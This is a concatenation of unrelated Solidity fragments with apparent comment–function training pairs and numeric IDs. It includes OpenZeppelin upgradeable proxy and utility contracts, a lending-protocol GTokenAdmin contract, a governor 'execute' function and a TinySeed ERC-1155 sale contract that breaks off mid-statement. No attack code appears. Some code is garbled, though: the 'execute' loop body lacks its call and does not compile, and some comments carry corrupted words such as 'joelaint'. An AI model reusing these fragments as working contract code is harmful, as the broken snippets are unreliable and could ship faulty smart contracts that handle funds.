upgradeability accidentally, although this risk is * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing * `UUPSUpgradeable` with a custom implementation of upgrades. * * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment address private immutable __self = address(this); /** * @dev Check that the execution is being performed through a delegatecall call and that the execution context is * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to * fail. */ modifier onlyProxy() { require(address(this) != __self, "Function must be called through delegatecall"); require(_getImplementation() == __self, "Function must be called through active proxy"); _; } /** * @dev Upgrade the implementation of the proxy to `newImplementation`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeTo(address newImplementation) external virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, new bytes(0), false); } /** * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call * encoded in `data`. * * Calls {_authorizeUpgrade}. * * Emits an {Upgraded} event. */ function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual onlyProxy { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } /** * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by * {upgradeTo} and {upgradeToAndCall}. * * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}. * * ```solidity * function _authorizeUpgrade(address) internal override onlyOwner {} * ``` */ function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; import "../beacon/IBeaconUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/StorageSlotUpgradeable.sol"; import "../utils/Initializable.sol"; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall( address newImplementation, bytes memory data, bool forceCall ) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure( address newImplementation, bytes memory data, bool forceCall ) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature("upgradeTo(address)", oldImplementation) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _upgradeTo(newImplementation); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall( address newBeacon, bytes memory data, bool forceCall ) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT pragma solidity 0.8.4; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; interface IRouter { function tradeERC20( IERC20 collectedToken, IERC20 burnToken, uint256 amount ) external returns (uint256 tokensReceived); function tradeNativeTokenForERC20(IERC20 output, uint256 inputAmount) external payable returns (uint256); function addSwapPath( address input, address output, address[] memory path ) external; function wrappedNative() external returns (address); // function getDexAddress() external returns(address); }
This function (or hook) is called before every token transfer from the address of the sender of the token transfer to the address of the recipient of the token transfer amount the amount of tokens that will be transferred/
function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override whenNotPaused { super._beforeTokenTransfer(from, to, amount); }
87,349
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.5.16; import "./GXrc20.sol"; import "./GToken.sol"; import "./EIP20NonStandardInterface.sol"; contract GTokenAdmin { /// @notice Admin address address payable public admin; /// @notice Reserve manager address address payable public reserveManager; /// @notice Emits when a new admin is assigned event SetAdmin(address indexed oldAdmin, address indexed newAdmin); /// @notice Emits when a new reserve manager is assigned event SetReserveManager(address indexed oldReserveManager, address indexed newAdmin); /** * @dev Throws if called by any account other than the admin. */ modifier onlyAdmin() { require(msg.sender == admin, "only the admin may call this function"); _; } /** * @dev Throws if called by any account other than the reserve manager. */ modifier onlyReserveManager() { require(msg.sender == reserveManager, "only the reserve manager may call this function"); _; } constructor(address payable _admin) public { _setAdmin(_admin); } /** * @notice Get gToken admin * @param gToken The gToken address */ function getGTokenAdmin(address gToken) public view returns (address) { return GToken(gToken).admin(); } /** * @notice Set gToken pending admin * @param gToken The gToken address * @param newPendingAdmin The new pending admin */ function _setPendingAdmin(address gToken, address payable newPendingAdmin) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._setPendingAdmin(newPendingAdmin); } /** * @notice Accept gToken admin * @param gToken The gToken address */ function _acceptAdmin(address gToken) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._acceptAdmin(); } /** * @notice Set gToken gTroller * @param gToken The gToken address * @param newGtroller The new gTroller address */ function _setGtroller(address gToken, GtrollerInterface newGtroller) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._setGtroller(newGtroller); } /** * @notice Set gToken reserve factor * @param gToken The gToken address * @param newReserveFactorMantissa The new reserve factor */ function _setReserveFactor(address gToken, uint256 newReserveFactorMantissa) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._setReserveFactor(newReserveFactorMantissa); } /** * @notice Reduce gToken reserve * @param gToken The gToken address * @param reduceAmount The amount of reduction */ function _reduceReserves(address gToken, uint256 reduceAmount) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._reduceReserves(reduceAmount); } /** * @notice Set gToken IRM * @param gToken The gToken address * @param newInterestRateModel The new IRM address */ function _setInterestRateModel(address gToken, InterestRateModel newInterestRateModel) external onlyAdmin returns (uint256) { return GTokenInterface(gToken)._setInterestRateModel(newInterestRateModel); } /** * @notice Set gToken collateral cap * @dev It will revert if the gToken is not JCollateralCap. * @param gToken The gToken address * @param newCollateralCap The new collateral cap */ function _setCollateralCap(address gToken, uint256 newCollateralCap) external onlyAdmin { GCollateralCapXrc20Interface(gToken)._setCollateralCap(newCollateralCap); } /** * @notice Set gToken new implementation * @param gToken The gToken address * @param implementation The new implementation * @param becomeImplementationData The payload data */ function _setImplementation( address gToken, address implementation, bool allowResign, bytes calldata becomeImplementationData ) external onlyAdmin { JDelegatorInterface(gToken)._setImplementation(implementation, allowResign, becomeImplementationData); } /** * @notice Extract reserves by the reserve manager * @param gToken The gToken address * @param reduceAmount The amount of reduction */ function extractReserves(address gToken, uint256 reduceAmount) external onlyReserveManager { require(GTokenInterface(gToken)._reduceReserves(reduceAmount) == 0, "failed to reduce reserves"); address underlying = GXrc20(gToken).underlying(); _transferToken(underlying, reserveManager, reduceAmount); } /** * @notice Seize the stock assets * @param token The token address */ function seize(address token) external onlyAdmin { uint256 amount = EIP20NonStandardInterface(token).balanceOf(address(this)); if (amount > 0) { _transferToken(token, admin, amount); } } /** * @notice Set the admin * @param newAdmin The new admin */ function setAdmin(address payable newAdmin) external onlyAdmin { _setAdmin(newAdmin); } /** * @notice Set the reserve manager * @param newReserveManager The new reserve manager */ function setReserveManager(address payable newReserveManager) external onlyAdmin { address oldReserveManager = reserveManager; reserveManager = newReserveManager; emit SetReserveManager(oldReserveManager, newReserveManager); } /* Internal functions */ function _setAdmin(address payable newAdmin) private { require(newAdmin != address(0), "new admin cannot be zero address"); address oldAdmin = admin; admin = newAdmin; emit SetAdmin(oldAdmin, newAdmin); } function _transferToken( address token, address payable to, uint256 amount ) private { require(to != address(0), "receiver cannot be zero address"); EIP20NonStandardInterface(token).transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a joelaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { if lt(returndatasize(), 32) { revert(0, 0) // This is a non-compliant ERC-20, revert. } returndatacopy(0, 0, 32) // Vyper joeiler before 0.2.8 will not truncate RETURNDATASIZE. success := mload(0) // See here: https://github.com/vyperlang/vyper/security/advisories/GHSA-375m-5fvv-xq23 } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } function compareStrings(string memory a, string memory b) private pure returns (bool) { return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b)))); } function() external payable {} }
Seize the stock assets token The token address/
function seize(address token) external onlyAdmin { uint256 amount = EIP20NonStandardInterface(token).balanceOf(address(this)); if (amount > 0) { _transferToken(token, admin, amount); } }
12,903,900
./full_match/42220/0x10EE6F6Dc28e96d7B294bD2b285b7dEf5A52BD87/sources/contracts/governor/PACTDelegate.sol
Executes a queued proposal if eta has passed _proposalId The id of the proposal to execute/
function execute(uint256 _proposalId) external payable { require( state(_proposalId) == ProposalState.Queued, "PACT::execute: proposal can only be executed if it is queued" ); Proposal storage _proposal = proposals[_proposalId]; _proposal.executed = true; uint256 _i; uint256 _numberOfActions = proposalTargets[_proposalId].length; for (; _i < _numberOfActions; _i++) { proposalTargets[_proposalId][_i], proposalValues[_proposalId][_i], proposalSignatures[_proposalId][_i], proposalCalldatas[_proposalId][_i], _proposal.eta ); } emit ProposalExecuted(_proposalId); }
16,355,259
./full_match/73799/0x6796B8a52B2CC672B14999d8B9939252E05F8080/sources/contracts/libraries/LibIssuer.sol
Register a claimed green proof certificate certificateID ID of the claimed certificate user address of the user claiming the certificate claimedAmount amount of the certificate being claimed/
function registerClaimedProof( uint256 certificateID, address user, uint256 claimedAmount ) internal { getStorage().claimedBalances[certificateID][user] += claimedAmount; }
16,362,473
./full_match/137/0xdE2c25552245C0e2E77fF7F4C677E336f7811ca9/sources/contracts/FablecoinsDeploy.sol
See {IERC721Metadata-name}./
function name() external view virtual override returns (string memory) { return NAME; }
4,786,113
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol"; import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol"; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; /** * @dev TinySeed ERC-1155 contract: */ contract TinySeed is ERC1155, Ownable, Pausable, ERC1155Burnable, ERC1155Supply, PaymentSplitter { /** * @dev Constants for token types: */ uint256 public constant SERIES1 = 0; uint256 public constant REFILL = 1; uint256 public constant PLATINUM = 2; /** * @dev Constants, token supply bands and associated USD pricing: * =========================================== * MUST BE UPDATED / VALIDATED PRIOR TO DEPLOY * =========================================== */ uint256 public constant SERIES1_SUPPLY1 = 100; uint256 public constant SERIES1_SUPPLY2 = 250; uint256 public constant SERIES1_SUPPLY3 = 500; uint256 public constant SERIES1_USD1 = 220; uint256 public constant SERIES1_USD2 = 230; uint256 public constant SERIES1_USD3 = 240; uint256 public constant SERIES1_USD4 = 250; uint256 public constant REFILL_USD = 250; uint256 public constant PLATINUM_USD = 4600; /** * @dev Add name and symbol for consistency with ERC-721 NFTs. Note that ERC-721 stores * these variables on-chain, but as they can only be set on the constructor we may as well * save the gas and have them as constants in the bytecode. */ string private constant NAME = "TinySeed"; string private constant SYMBOL = "TINYSEED"; AggregatorV3Interface internal priceFeed; /** * @dev saleOpen - when set to false it stays false. This is how the mint * is permanently closed at the end. Pause is different, as it can be set and unset * and also controls token transfer. */ bool public saleOpen; bool public developerAllocationComplete; address private developer; /** * @dev Price buffer above and below the passed amount of ETH that will be accepted. This function * will be used to set the price for items in the UI, but there is always the possibility of price * fluctuations beween the display and the mint. These parameters determine as an amount per thousance * how high above or below the price the passed amount of ETH can be and still make a valid sale. The * stored values are in the following format: * - priceBufferUp: amount as a proportion of 1,000. For example, if you set this to 1005 you allow the * price to be up to 1005 / 1000 of the actual price, i.e. not exceeding 0.5% greater. * - priceBufferDown: amount as a proportion of 1,000. For example, if you set this to 995 you allow the * price to be up to 995 / 1000 of the actual price i.e. not exceeding 0.5% less. */ uint256 private priceBufferUp; uint256 private priceBufferDown; /** * @dev Contract events: */ event SaleClosedSet(address account); event PriceBufferUpSet(uint256 priceBuffer); event PriceBufferDownSet(uint256 priceBuffer); event DeveloperAllocationCompleteSet(address account); event tinySeedMinted( address account, uint256 TiQuantity, uint256 RefillQuantity, uint256 PtQuantity, uint256 TiSupply, uint256 RefillSupply, uint256 PtSupply, uint256 cost ); /** * @dev Constructor must be passed an array of shareholders for the payment splitter, the first * array holding addresses and the second the corresponding shares. For example, you could have the following: * - _payees[beneficiaryAddress, developerAddress] * - _shares[90,10] * In this example the beneficiary address passed in can claim 90% of total ETH, the developer 10% */ constructor( uint256 _priceBufferUp, uint256 _priceBufferDown, address[] memory _payees, uint256[] memory _shares, address _developer ) ERC1155( "https://arweave.net/jGEbN3EEPoKqTwzkPD4rBf7ujmtBFtZIkwD_T9242hQ/{id}.json" ) PaymentSplitter(_payees, _shares) { setPriceBufferUp(_priceBufferUp); setPriceBufferDown(_priceBufferDown); developer = _developer; saleOpen = true; developerAllocationComplete = false; _pause(); /** * @dev Contract address for pricefeed data. * ============================================== * MUST BE SET TO MAINNET ADDRESS PRIOR TO DEPLOY * ============================================== * MAINNET: 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419 * RINKEBY: 0x8A753747A1Fa494EC906cE90E9f37563A8AF630e */ priceFeed = AggregatorV3Interface( 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419 ); } /** * @dev The sale being open depends on the saleOpen bool. This is set to true * in the constructor and can be set to closed by the owner. Once closed it is closed * forever. Minting cannot occur, token transfers are still allows. These can be paused * by using _pause. */ modifier whenSaleOpen() { require(saleOpen, "Sale is closed"); _; } modifier whenSaleClosed() { require(!saleOpen, "Sale is open"); _; } modifier whenDeveloperAllocationAvailable() { require(!developerAllocationComplete, "Developer allocation is complete"); _; } /** * @dev admin functions: */ function setPriceBufferUp(uint256 _priceBufferUpToSet) public onlyOwner returns (bool) { priceBufferUp = _priceBufferUpToSet; emit PriceBufferUpSet(priceBufferUp); return true; } function setPriceBufferDown(uint256 _priceBufferDownToSet) public onlyOwner returns (bool) { priceBufferDown = _priceBufferDownToSet; emit PriceBufferDownSet(priceBufferDown); return true; } function setSaleClosed() external onlyOwner whenSaleOpen { saleOpen = false; emit 